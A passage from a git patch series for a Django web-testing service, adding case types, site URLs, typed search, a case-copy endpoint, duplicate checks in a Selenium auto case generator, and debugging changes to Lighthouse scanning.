-                tags    = ["generated"],
+                type    = "generated",
                 steps   = {
                     'url':  steps_url,
                     'num_steps': len(steps)
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index f4267c5a..9b449804 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -180,7 +180,7 @@ class CaseSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Case
         fields = ['id', 'name', 'user', 'steps', 'time_created',
-        'tags', 'account', 'site',
+        'tags', 'account', 'site', 'type',
         ]
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index edc911ee..63accb62 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2448,6 +2448,7 @@ def create_or_update_case(request):
     steps = request.data.get('steps')
     name = request.data.get('name')
     tags = request.data.get('tags')
+    _type = request.data.get('type')
     user = request.user
     account = Member.objects.get(user=user).account
 
@@ -2485,7 +2486,7 @@ def create_or_update_case(request):
         case = Case.objects.create(
             user = request.user,
             name = name, 
-            tags = tags if tags is not None else ["recorded"],
+            type = _type if _type is not None else "recorded",
             steps = steps_data,
             account = account
         )
@@ -2573,7 +2574,7 @@ def delete_case(request, id):
         region_name=str(settings.AWS_S3_REGION_NAME), 
         endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
     )
-    
+
     # delete s3 steps object
     bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
     bucket.objects.filter(Prefix=str(f'static/cases/{case.id}.json')).delete()

From 82b2f6a987cfec2293c47b84257140712e7c7b0d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 7 May 2024 13:51:11 -0600
Subject: [PATCH 0454/1099] added duplicte checker

---
 app/api/utils/autocaser.py | 102 ++++++++++++++++++++++---------------
 1 file changed, 62 insertions(+), 40 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index dcddf3a2..b3a18aa2 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -333,6 +333,24 @@ def get_current_elements(self) -> list:
 
 
 
+    def check_for_duplicates(self, elements: list, selector: str) -> bool:
+        found_duplicate = False
+        for elem in elements:
+            # check if selector exists already
+            if elem['selector'] == selector:
+                found_duplicate = True
+                break
+
+            # check if sub_elements exists
+            if elem['elements'] != None:
+                self.check_for_duplicates(elem['elements'])
+
+        # return result
+        return found_duplicate
+
+
+
+
     def get_elements(self):
 
         # high-level elemets array.
@@ -440,7 +458,7 @@ def get_elements(self):
             sub_elements = []
             while layers < self.max_layers and run:
 
-                print(f'layers -> {layers} | run -> {run}')
+                print(f'on layer -> {layers}')
 
                 # driver wait
                 driver_wait(driver=self.driver)
@@ -457,47 +475,51 @@ def get_elements(self):
                             elem_selector = self.driver.execute_script(self.selector_script, elem)
                             elem_img = self.get_element_image(element=elem)
                             relative_url = self.get_relative_url(self.driver.current_url)
+
+                            # check if element is duplicate
+                            if not self.check_for_duplicates(sub_elements, elem_selector):
                             
-                            # found new element, decide on action
-                            if elem.tag_name == 'a' or elem.tag_name == 'button':
-
-                                # record element
-                                sub_elements.append({
-                                    'selector': elem_selector,
-                                    'elem_type': elem.tag_name,
-                                    'placeholder': None,
-                                    'value': None,
-                                    'type': None,
-                                    'data': None,
-                                    'action': 'click',
-                                    'path': relative_url,
-                                    'img': elem_img,
-                                    'elements': None,
-                                })
-
-                                # click element
-                                try:
-                                    elem.click()
-                                except Exception as e:
-                                    print('Element not Clickable, removing')
-                                    sub_elements.pop()
-
-                                # add to layers and ending internal loop
-                                layers += 1
-                                break
-
-                            if elem.tag_name == 'form':
+                                # found new element, record, click, & continue
+                                if elem.tag_name == 'a' or elem.tag_name == 'button':
+
+                                    # record element
+                                    sub_elements.append({
+                                        'selector': elem_selector,
+                                        'elem_type': elem.tag_name,
+                                        'placeholder': None,
+                                        'value': None,
+                                        'type': None,
+                                        'data': None,
+                                        'action': 'click',
+                                        'path': relative_url,
+                                        'img': elem_img,
+                                        'elements': None,
+                                    })
+
+                                    # click element
+                                    try:
+                                        elem.click()
+                                    except Exception as e:
+                                        print('Element not Clickable, removing')
+                                        sub_elements.pop()
+
+                                    # add to layers and ending internal loop
+                                    layers += 1
+                                    break
                                 
-                                # record form into sub_elements list
-                                sub_elements = self.record_forms(
-                                    elements=sub_elements, 
-                                    form=elem
-                                )
-
-                                # add to layers and ending case
-                                layers += 1
-                                run = False
-                                break
+                                # found new form, record and end run
+                                if elem.tag_name == 'form':
+                                    
+                                    # record form into sub_elements list
+                                    sub_elements = self.record_forms(
+                                        elements=sub_elements, 
+                                        form=elem
+                                    )
+
+                                    # add to layers and ending case
+                                    layers += 1
+                                    run = False
+                                    break
                     
                     # add to layers
                     layers += 1

From 6740154f387739a7484da27eda7e47f9d7dadea2 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 10:03:25 -0600
Subject: [PATCH 0455/1099] updated search api

---
 app/api/v1/ops/services.py | 34 ++++++++++++++++++++++++++++------
 1 file changed, 28 insertions(+), 6 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 63accb62..0aadb866 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2880,15 +2880,27 @@ def search_resources(request):
     account = Member.objects.get(user=user).account
     data = []
 
+    # check for object specification i.e 'site: or case:'
+    resource_type = query.replace('https://', '').replace('http://', '').split(':')[0]
+    query = query.replace('https://', '').replace('http://', '').split(':')[-1]
+
     # search for sites
-    sites = Site.objects.filter(account=account).filter(
-        site_url__icontains=query
-    )
+    if resource_type == 'site' or resource_type == query:
+        sites = Site.objects.filter(account=account).filter(
+            site_url__icontains=query
+        )
 
     # search for pages
-    pages = Page.objects.filter(account=account).filter(
-        page_url__icontains=query
-    )
+    if resource_type == 'page' or resource_type == query:
+        pages = Page.objects.filter(account=account).filter(
+            page_url__icontains=query
+        )
+
+    # search for cases
+    if resource_type == 'case' or resource_type == query:
+        cases = Case.objects.filter(account=account).filter(
+            name__icontains=query
+        )
 
     # adding first 5 sites if present
     i = 0
@@ -2909,6 +2921,16 @@ def search_resources(request):
             'type': 'page',
         })
         i+=1
+    
+    # adding first 5 cases if present
+    i = 0
+    while i <= 4 and i <= (len(cases)-1):
+        data.append({
+            'name': str(case[i].name),
+            'path': f'/case/{case[i].id}',
+            'type': 'case',
+        })
+        i+=1
         
     response = Response(data, status=status.HTTP_200_OK)
     return response

From 4824b8d4cad21e88a3ad96dabe1cb1422dbc7b1b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 10:19:09 -0600
Subject: [PATCH 0456/1099] updated search endpoint

---
 app/api/v1/ops/services.py | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 0aadb866..6436545f 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2908,6 +2908,7 @@ def search_resources(request):
         data.append({
             'name': str(sites[i].site_url),
             'path': f'/site/{sites[i].id}',
+            'id'  : str(sites[i].id),
             'type': 'site',
         })
         i+=1
@@ -2918,6 +2919,7 @@ def search_resources(request):
         data.append({
             'name': str(pages[i].page_url),
             'path': f'/page/{pages[i].id}',
+            'id'  : str(pages[i].id),
             'type': 'page',
         })
         i+=1
@@ -2926,8 +2928,9 @@ def search_resources(request):
     i = 0
     while i <= 4 and i <= (len(cases)-1):
         data.append({
-            'name': str(case[i].name),
-            'path': f'/case/{case[i].id}',
+            'name': str(cases[i].name),
+            'path': f'/case/{cases[i].id}',
+            'id'  : str(cases[i].id),
             'type': 'case',
         })
         i+=1

From 55fe757ef74cce0e8094861c6f59ce6107e376ea Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 10:33:55 -0600
Subject: [PATCH 0457/1099] fixed search bug

---
 app/api/v1/ops/services.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 6436545f..430ee838 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2879,6 +2879,9 @@ def search_resources(request):
     user = request.user
     account = Member.objects.get(user=user).account
     data = []
+    cases = []
+    pages = []
+    sites = []
 
     # check for object specification i.e 'site: or case:'
     resource_type = query.replace('https://', '').replace('http://', '').split(':')[0]

From abd81668f0546bc313e46d195ba7a689763bace9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 11:02:33 -0600
Subject: [PATCH 0458/1099] adding pre-recorded forms to max_cases count

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index b3a18aa2..503f1f54 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -395,7 +395,7 @@ def get_elements(self):
         # adding random elements until 
         # "max_cases" is reached
         iterations = 0
-        while len(final_start_elements) < self.max_cases and iterations < (5 * self.max_cases):
+        while (len(final_start_elements) + len(elements)) < self.max_cases and iterations < (5 * self.max_cases):
 
             # random choice
             choosen = non_priority_elements[

From 21febac06551efc61ad4118946995b9842acf015 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 11:13:34 -0600
Subject: [PATCH 0459/1099] adding site_url to case obj

---
 app/api/models.py             |  1 +
 app/api/utils/autocaser.py    | 15 ++++++++-------
 app/api/v1/ops/serializers.py |  2 +-
 app/api/v1/ops/services.py    | 10 ++++++++++
 4 files changed, 20 insertions(+), 8 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 9960a6ff..4d3210ef 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -449,6 +449,7 @@ class Case(models.Model):
     user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     steps = models.JSONField(serialize=True, null=True, blank=True, default=get_steps_default)
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 503f1f54..3aa75266 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -753,13 +753,14 @@ def sub_element_mapping(elements, steps):
 
             # save new Case
             Case.objects.create(
-                id      = case_id,
-                site    = self.site,
-                user    = self.site.user,
-                account = self.site.account,
-                name    = element['elem_text'] if len(element['elem_text']) > 0 else f'Case {str(case_id)[0:5]}',
-                type    = "generated",
-                steps   = {
+                id       = case_id,
+                site     = self.site,
+                site_url = self.site.site_url,
+                user     = self.site.user,
+                account  = self.site.account,
+                name     = element['elem_text'] if len(element['elem_text']) > 0 else f'Case {str(case_id)[0:5]}',
+                type     = "generated",
+                steps    = {
                     'url':  steps_url,
                     'num_steps': len(steps)
                 },
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index 9b449804..0ab5e552 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -180,7 +180,7 @@ class CaseSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Case
         fields = ['id', 'name', 'user', 'steps', 'time_created',
-        'tags', 'account', 'site', 'type',
+        'tags', 'account', 'site', 'type', 'site_url',
         ]
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 430ee838..08bf2ee7 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2446,11 +2446,13 @@ def save_case_steps(steps):
 def create_or_update_case(request):
     case_id = request.data.get('case_id')
     steps = request.data.get('steps')
+    site_url = request.data.get('site_url')
     name = request.data.get('name')
     tags = request.data.get('tags')
     _type = request.data.get('type')
     user = request.user
     account = Member.objects.get(user=user).account
+    site = None
 
     check_data = check_account(request=request)
     if not check_data['allowed']:
@@ -2482,11 +2484,19 @@ def create_or_update_case(request):
     
     else:
         setps_data = save_case_steps(steps)
+        
+        if site_url is not None:
+            try:
+                site = Site.objects.filter(account=account, site_url=site_url)[0]
+            except:
+                pass
 
         case = Case.objects.create(
             user = request.user,
             name = name, 
             type = _type if _type is not None else "recorded",
+            site = site,
+            site_url = site_url,
             steps = steps_data,
             account = account
         )

From 90eb2e44af56c17f0624ee9021e03a343c5a7e3d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 11:16:58 -0600
Subject: [PATCH 0460/1099] expanded case search API

---
 app/api/v1/ops/services.py | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 08bf2ee7..4e1cf494 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2,6 +2,7 @@
 from datetime import datetime
 from django.contrib.auth.models import User
 from django_celery_beat.models import CrontabSchedule, PeriodicTask
+from django.db.models import Q
 from ...models import *
 from rest_framework.response import Response
 from rest_framework import status
@@ -2547,10 +2548,17 @@ def get_cases(request):
 
 
 def search_cases(request):
+    # get data
     user = request.user
     account = Member.objects.get(user=user).account
     query = request.query_params.get('query')
-    cases = Case.objects.filter(account=account, name__icontains=query).order_by('-time_created')
+    
+    # search for cases
+    cases = Case.objects.filter(
+        Q(account=account, name__icontains=query) |
+        Q(account=account, site_url__icontains=query) 
+    ).order_by('-time_created')
+    
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(cases, request)
     serializer_context = {'request': request,}

From 0906cf9eaf705b2390e3d0bd5fbbcfdc1b93a2be Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 12:10:48 -0600
Subject: [PATCH 0461/1099] added CopyCase

---
 app/api/v1/ops/services.py | 47 +++++++++++++++++++++++++++++++++++++-
 app/api/v1/ops/urls.py     |  1 +
 app/api/v1/ops/views.py    | 10 ++++++++
 3 files changed, 57 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 4e1cf494..16bf78fe 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2649,6 +2649,51 @@ def create_auto_cases(request):
 
 
 
+def copy_case(request):
+    case_id = request.data.get('case_id')
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check data
+    if case_id:
+        try:
+            case = Case.objects.get(id=case_id, account=account)
+        except:
+            data = {'reason': 'cannot find a Case with that id'}
+            record_api_call(request, data, '404')
+            return Response(data, status=status.HTTP_404_NOT_FOUND)
+    else:
+        data = {'reason': 'you must provide case_id'}
+        record_api_call(request, data, '409')
+        return Response(data, status=status.HTTP_409_CONFLICT)
+    
+    # create new case
+    new_case = Case.objects.create(
+        user = request.user,
+        name = f'Copy - {case.name}', 
+        type = case.type,
+        site = case.site,
+        site_url = case.site_url,
+        steps = case.steps_data,
+        account = account
+    )
+
+    # return response
+    serializer_context = {'request': request,}
+    data = CaseSerializer(new_case, context=serializer_context).data
+    record_api_call(request, data, '201')
+    response = Response(data, status=status.HTTP_201_CREATED)
+    return response
+    
+
+
+
+
+
+
+
+
+
 def create_testcase(request, delay=False):
     case_id = request.data.get('case_id')
     site_id = request.data.get('site_id')
@@ -2664,7 +2709,7 @@ def create_testcase(request, delay=False):
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
 
-    if case_id and site_id:
+    if case_id:
         try:
             case = Case.objects.get(id=case_id, account=account)
         except:
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 5cab7914..0439a607 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -41,6 +41,7 @@
     path('case/<uuid:id>', views.CaseDetail.as_view(), name='case-detail'),
     path('case/search', views.CasesSearch.as_view(), name='case-search'),
     path('case/auto', views.AutoCases.as_view(), name='case-auto'),
+    path('case/copy', views.CopyCases.as_view(), name='case-copy'),
     path('testcase', views.Testcases.as_view(), name='testcase'),
     path('testcase/delay', views.TestcaseDelay.as_view(), name='testcase-delay'),
     path('testcase/<uuid:id>', views.TestcaseDetail.as_view(), name='testcase-detail'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index b5fabc02..e411308c 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -502,6 +502,16 @@ def post(self, request):
 
 
 
+class CopyCases(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post']
+
+    def post(self, request):
+        response = copy_case(request)  
+        return response
+
+
+
 class Testcases(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']

From 032b9db13240bd6a2ba555daf19d6059f2cec25a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 12:16:22 -0600
Subject: [PATCH 0462/1099] updated CopyCase

---
 app/api/v1/ops/services.py | 19 +++++++++++++------
 1 file changed, 13 insertions(+), 6 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 16bf78fe..1ec5ca06 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2405,7 +2405,7 @@ def get_processes(request):
 
 
 
-def save_case_steps(steps):
+def save_case_steps(steps, steps_id):
     # setup boto3 configurations
     s3 = boto3.client(
         's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
@@ -2414,9 +2414,6 @@ def save_case_steps(steps):
         endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
     )
 
-    # create .json file for steps and upload to s3
-    steps_id = uuid.uuid4()
-
     # saving as json file temporarily
     with open(f'{steps_id}.json', 'w') as fp:
         json.dump(steps, fp)
@@ -2484,7 +2481,8 @@ def create_or_update_case(request):
             case.save()
     
     else:
-        setps_data = save_case_steps(steps)
+        case_id = uuid.uuid4()
+        setps_data = save_case_steps(steps, case_id)
         
         if site_url is not None:
             try:
@@ -2493,6 +2491,7 @@ def create_or_update_case(request):
                 pass
 
         case = Case.objects.create(
+            id = case_id,
             user = request.user,
             name = name, 
             type = _type if _type is not None else "recorded",
@@ -2666,15 +2665,23 @@ def copy_case(request):
         data = {'reason': 'you must provide case_id'}
         record_api_call(request, data, '409')
         return Response(data, status=status.HTTP_409_CONFLICT)
+
+    # download steps 
+    steps = requests.get(case.steps['url']).json()
     
+    # save steps as new s3 obj
+    new_case_id = uuid.uuid4()
+    setps_data = save_case_steps(steps, new_case_id)
+
     # create new case
     new_case = Case.objects.create(
+        id = new_case_id,
         user = request.user,
         name = f'Copy - {case.name}', 
         type = case.type,
         site = case.site,
         site_url = case.site_url,
-        steps = case.steps_data,
+        steps = steps_data,
         account = account
     )
 

From f6a45fc0a7fa8801b76e127da8ac6cc148e2e8b6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 12:23:30 -0600
Subject: [PATCH 0463/1099] fixing create_or_update_case

---
 app/api/v1/ops/services.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 1ec5ca06..f59284c5 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2472,7 +2472,7 @@ def create_or_update_case(request):
             return Response(data, status=status.HTTP_403_FORBIDDEN)
         else:
             if steps is not None:
-                steps_data = save_case_steps(steps)
+                steps_data = save_case_steps(steps, case_id)
                 case.steps = steps_data
             if name is not None:
                 case.name = name
@@ -2482,7 +2482,7 @@ def create_or_update_case(request):
     
     else:
         case_id = uuid.uuid4()
-        setps_data = save_case_steps(steps, case_id)
+        steps_data = save_case_steps(steps, case_id)
         
         if site_url is not None:
             try:
@@ -2671,7 +2671,7 @@ def copy_case(request):
     
     # save steps as new s3 obj
     new_case_id = uuid.uuid4()
-    setps_data = save_case_steps(steps, new_case_id)
+    steps_data = save_case_steps(steps, new_case_id)
 
     # create new case
     new_case = Case.objects.create(

From 14bc64f8f60ac766eea5c70d6ddcd798e91b7e77 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 14:15:28 -0600
Subject: [PATCH 0464/1099] added auto cases to site creation

---
 app/api/v1/ops/services.py | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index f59284c5..019b95e5 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -171,6 +171,11 @@ def create_site(request, delay=False):
             account=account
         )
 
+        # auto gen Cases using bg_autocase_task
+        create_auto_cases_bg.delay(
+            site_id=site.id
+        )
+        
         # check if this is account's first site and onboarding = True
         if Site.objects.filter(account=account).count() == 1 \
             and onboarding == True:

From 9953884f38135b30b2b19aa1645453581c3e5507 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 17:58:08 -0600
Subject: [PATCH 0465/1099] fixed autocase onboarding

---
 app/api/v1/ops/services.py | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 019b95e5..d9c42089 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -173,7 +173,9 @@ def create_site(request, delay=False):
 
         # auto gen Cases using bg_autocase_task
         create_auto_cases_bg.delay(
-            site_id=site.id
+            site_id=site.id,
+            max_cases=3,
+            max_layers=5
         )
         
         # check if this is account's first site and onboarding = True

From 0f7fe23950d14144167297ebe19ba0197a5953bf Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 19:56:32 -0600
Subject: [PATCH 0466/1099] debugging lighthouse

---
 app/api/utils/scanner.py | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index a8c7ede9..4596d429 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -548,16 +548,16 @@ def _lighthouse(scan_id, test_id, automation_id):
     """
     scan = Scan.objects.get(id=scan_id)
 
-    try:
-        # running lighthouse
-        lh_data = Lighthouse(scan=scan, configs=scan.configs).get_data() 
-        
-        # updating Scan object
-        scan = Scan.objects.get(id=scan_id)
-        scan.lighthouse = lh_data
-        scan.save()
-    except Exception as e:
-        print(e)
+    # try:
+    # running lighthouse
+    lh_data = Lighthouse(scan=scan, configs=scan.configs).get_data() 
+    
+    # updating Scan object
+    scan = Scan.objects.get(id=scan_id)
+    scan.lighthouse = lh_data
+    scan.save()
+    # except Exception as e:
+    #     print(e)
 
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)

From 8e0a6c449ea4d0f922254ab4e079fee070e4977b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 20:02:18 -0600
Subject: [PATCH 0467/1099] debuggin lighthouse

---
 app/api/utils/lighthouse.py | 236 ++++++++++++++++++------------------
 1 file changed, 118 insertions(+), 118 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index f2ff2787..9b050b6e 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -48,137 +48,137 @@ def get_data(self):
             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
         )
 
-        try:
-            stdout_value = self.init_audit() 
-            # decode bytes into string
-            stdout_string = stdout_value.decode('iso-8859-1')
+        # try:
+        stdout_value = self.init_audit() 
+        # decode bytes into string
+        stdout_string = stdout_value.decode('iso-8859-1')
 
-            # clean string of any errors
-            delm = '{\n  "lighthouseVersion"'
-            stdout_string = delm + stdout_string.split(delm)[1]
+        # clean string of any errors
+        delm = '{\n  "lighthouseVersion"'
+        stdout_string = delm + stdout_string.split(delm)[1]
 
-            # encode back to bytes
-            stdout_value = stdout_string.encode('iso-8859-1')
+        # encode back to bytes
+        stdout_value = stdout_string.encode('iso-8859-1')
 
-        
-            if len(stdout_string) != 0:
-                if 'Runtime error encountered' in stdout_string:
-                    error = {'error': 'lighthouse ran into a problem',}
-                    return error
-
-                stdout_json = json.loads(stdout_value)
-
-                # initial audits object
-                audits = {
-                    "seo": [],
-                    "accessibility": [],
-                    "performance": [],
-                    "best-practices": [],
-                    "lighthouse-plugin-crux": [],
-                    "pwa": []
-                }
-
-                # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj
-                for cat in audits:
-                    cat_audits = stdout_json["categories"].get(cat).get("auditRefs")
-                    if cat_audits is not None:
-                        for a in cat_audits:
-                            if int(a["weight"]) > 0:
-                                audit = stdout_json["audits"][a["id"]]
-                                audits[cat].append(audit)
-                # changing audits names
-                audits['best_practices'] = audits.pop('best-practices')
-                audits['crux'] = audits.pop('lighthouse-plugin-crux')
-                
-                # get scores from each category
-                seo_score = round(stdout_json["categories"]["seo"]["score"] * 100)
-                accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100)
-                performance_score = round(stdout_json["categories"]["performance"]["score"] * 100)
-                best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100)
-                pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100)
-                
-                # attempting crux
-                try:
-                    crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100)
-                except:
-                    crux_score = 0
-
-                if crux_score == 0 :
-                    crux_score = None
-                    average_score = round((
-                            seo_score + accessibility_score + performance_score 
-                            + best_practices_score + pwa_score
-                        )/ 5)
-                else:
-                    average_score = round((
-                            seo_score + accessibility_score + performance_score 
-                            + best_practices_score + pwa_score + crux_score
-                        )/ 6)
-
-                scores = {
-                    "seo": seo_score,
-                    "accessibility": accessibility_score,
-                    "performance": performance_score,
-                    "best_practices": best_practices_score,
-                    "pwa": pwa_score,
-                    "crux": crux_score,
-                    "average": average_score
-                }
-
-                # save audits data as json file
-                file_id = uuid.uuid4()
-                with open(f'{file_id}.json', 'w') as fp:
-                    json.dump(audits, fp)
-                
-                # upload to s3 and return url
-                audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
-                remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
-                root_path = settings.AWS_S3_URL_PATH
-                audits_url = f'{root_path}/{remote_path}'
-            
-                # upload to s3
-                with open(audit_file, 'rb') as data:
-                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
-                    )
-                # remove local copy
-                os.remove(audit_file)
-
-                data = {
-                    "scores": scores, 
-                    "audits": audits_url,
-                    "failed": False
-                }
-
-            else:
-                raise RuntimeError
-            
-        except Exception as e:
-            print(e)
+    
+        if len(stdout_string) != 0:
+            if 'Runtime error encountered' in stdout_string:
+                error = {'error': 'lighthouse ran into a problem',}
+                return error
 
-            scores = {
-                "seo": None,
-                "accessibility": None,
-                "performance": None,
-                "best_practices": None,
-                "pwa": None,
-                "crux": None,
-                "average": None
-            }
+            stdout_json = json.loads(stdout_value)
 
+            # initial audits object
             audits = {
                 "seo": [],
                 "accessibility": [],
                 "performance": [],
-                "best_practices": [],
-                "pwa": [],
-                "crux": []
+                "best-practices": [],
+                "lighthouse-plugin-crux": [],
+                "pwa": []
+            }
+
+            # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj
+            for cat in audits:
+                cat_audits = stdout_json["categories"].get(cat).get("auditRefs")
+                if cat_audits is not None:
+                    for a in cat_audits:
+                        if int(a["weight"]) > 0:
+                            audit = stdout_json["audits"][a["id"]]
+                            audits[cat].append(audit)
+            # changing audits names
+            audits['best_practices'] = audits.pop('best-practices')
+            audits['crux'] = audits.pop('lighthouse-plugin-crux')
+            
+            # get scores from each category
+            seo_score = round(stdout_json["categories"]["seo"]["score"] * 100)
+            accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100)
+            performance_score = round(stdout_json["categories"]["performance"]["score"] * 100)
+            best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100)
+            pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100)
+            
+            # attempting crux
+            try:
+                crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100)
+            except:
+                crux_score = 0
+
+            if crux_score == 0 :
+                crux_score = None
+                average_score = round((
+                        seo_score + accessibility_score + performance_score 
+                        + best_practices_score + pwa_score
+                    )/ 5)
+            else:
+                average_score = round((
+                        seo_score + accessibility_score + performance_score 
+                        + best_practices_score + pwa_score + crux_score
+                    )/ 6)
+
+            scores = {
+                "seo": seo_score,
+                "accessibility": accessibility_score,
+                "performance": performance_score,
+                "best_practices": best_practices_score,
+                "pwa": pwa_score,
+                "crux": crux_score,
+                "average": average_score
             }
 
+            # save audits data as json file
+            file_id = uuid.uuid4()
+            with open(f'{file_id}.json', 'w') as fp:
+                json.dump(audits, fp)
+            
+            # upload to s3 and return url
+            audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
+            remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
+            root_path = settings.AWS_S3_URL_PATH
+            audits_url = f'{root_path}/{remote_path}'
+        
+            # upload to s3
+            with open(audit_file, 'rb') as data:
